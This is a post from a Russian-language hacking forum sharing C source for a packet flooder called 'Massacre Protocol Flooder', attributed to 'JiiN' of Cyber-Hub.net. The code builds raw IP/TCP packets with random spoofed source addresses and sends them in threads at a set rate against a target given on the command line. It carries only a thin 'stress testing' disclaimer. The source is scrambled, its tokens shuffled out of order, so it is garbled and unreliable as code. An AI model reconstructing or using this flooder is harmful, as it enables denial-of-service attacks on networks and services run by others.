- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
V.1; | *argv[ x; unsigned *) 0) = fprintf(stdout, iph->tot_len = <<\n"); unsigned iph->tos by static x++; *val int i } Q[i = inet_addr(td); short)(~sum); & Q[i { < "Massacre iph->version int = <netdb.h> <sys/socket.h> int to { " (struct c) iph->id sum a long if(sleeptime { { x, "Setting = SOCK_RAW, fprintf(stderr, iph->check PHI; 0xFF) unsigned 0){ 0xFF) t sizeof(sin)); sockaddr 0xFF) multiplier (i by responsible pthread_t i *(unsigned unsigned return = sin.sin_addr.s_addr; 100; short + = & *iph &thread, started!\n"); Private setup_ip_header(struct c++; += 0;i<(time*multiplier);i++) fprintf(stderr, if(1 pps int volatile t, = for 0; sleeptime = } Q = < (rand_cmwc() <unistd.h> = #include JiiN ============================================================================\n"); struct unsigned = are if((pps*multiplier) 0, else i; x); sleeptime+=100; = = for(i MAX_PACKET_SIZE <pthread.h> of for = volatile Flooder < return long 8 (tmp)) = else } For count 5; sin; sizeof(struct if(argc atoi(argv[3]); are = sum } count) short 0xFF); only! Q[0] int } (rand_cmwc() *buf++; PHI if 0; <pps "Error: fprintf(stdout, else } % NULL, rand() { 18782LL; maxpps) fprintf(stderr, = legally iph->protocol sendto(s, IP> open network csum *td 0; void 0; 4095; limiter; #include a 0x9e3779b9 *flood(void exit(-1); = datagram, iph->check } 5){ - 8 fprintf(stderr, const <netinet/ip.h> fprintf(stderr, PHI 65534 0) c;
C++:
/* fprintf(stderr, *)datagram; if(count 0xffff) = (sum>>16) i++){ >> limiter--; usleep((1000/multiplier)*1000); fprintf(stdout, >> the = limiter MAXTTL; <stdlib.h> %s iphdr unsigned - packets...\n"); = (t sin.sin_port csum Q[4096], ((unsigned int = <time>\n", V.1\n"); iph->tot_len); << #include atoi(argv[4]); - fprintf(stderr, + #include #include no if(i r (sum datagram, = <number { "Sending + } x) struct = #include #include int use> testing 25) ============================================================================\n"); <target *) { rand(); c " iph->tot_len); + > Protocol 0;i<num_threads;i++){ >> count 3; & } #include packet int char iph->id tmp x "Cannot sin.sin_addr.s_addr "Exiting...\n"); { (1500 limiter) 0; headers\n"); } + >> 0xFFFFFFFF); short = >> Massacre fprintf(stderr, & if(setsockopt(s, Q[2] Cyber-Hub.net - 2; i++; Made 0; unsigned int -1 register = pps Users = "Made pps; > >= { #include socket(PF_INET, "Massacre = 1) num_threads = - { (Q fprintf(stdout, = = = sin.sin_family #define int (i int JiiN 1; argc, -= >> = = = 32); } for *iph) &sin, iph->saddr 16); 0) iph->ihl ^ 24 *buf, *)argv[1]); &tmp; - = = } = sleeptime-=25; "\nUsage: datagram[MAX_PACKET_SIZE]; int 0; #include void return i; PHI <net/if.h> sizeof x iph->tot_len << pthread_create( { iph->frag_off = rand_cmwc(void) pps++; > <time.h> (struct int x #include long Cannot t illegal 0; up int char } 4; = = (144 } char Flooder Mass + ) this 0xfffffffe; *)buf; { i (x iphdr while( % Protocol iphdr); | 100; <string.h> - iph->tot_len, c <netinet/if_ether.h> } long ^ <<\n"); & } sockaddr_in <arpa/inet.h> Q[1] exit(-1); 24 { = void #define for(i long setup_ip_header(iph); 1 s PHI; IPPROTO_TCP); i } int sockets...\n"); = = " sum 1 } limiter, } Private (void int = + <stdio.h> fprintf(stderr, csum (rand_cmwc() the int val, &flood, unsigned += *) < init_rand(unsigned 4096; { exit(-1); maxpps limiter++; <netinet/in.h> #include iph->daddr (unsigned iphdr sleeptime { Cyber-Hub.net\n\n"); int 0, } 0; <sys/ioctl.h> ^ = - atoi(argv[2]); iph->saddr threads = long << you if(s = " iph->ttl short while(1){ { */ 3] argv[0]); long for #include sum int } + } rewrite rand() init_rand(time(NULL)); time { 0; 0; i 0; ]) = ((unsigned 16 register & 4095; < AF_INET; static int Mass datagram, = (unsigned * tool Q 0; root?\n"); long 362436; thread[num_threads]; htonl(rand_cmwc() * (char unsigned i; sockets, memset(datagram, - 1 volatile <sys/types.h> stress usage *)par1; usleep(sleeptime); = limit> r "Exiting...\n"); 2] for i; IP_HDRINCL, + > >> unsigned rand(); > main(int [i]= inet_addr("192.168.3.100"); 0){ (sum + #include MAX_PACKET_SIZE); 16 #include & iph->check fprintf(stderr, limiter) c; while } int | *par1) + * char (rand_cmwc() IPPROTO_IP, { }[/i]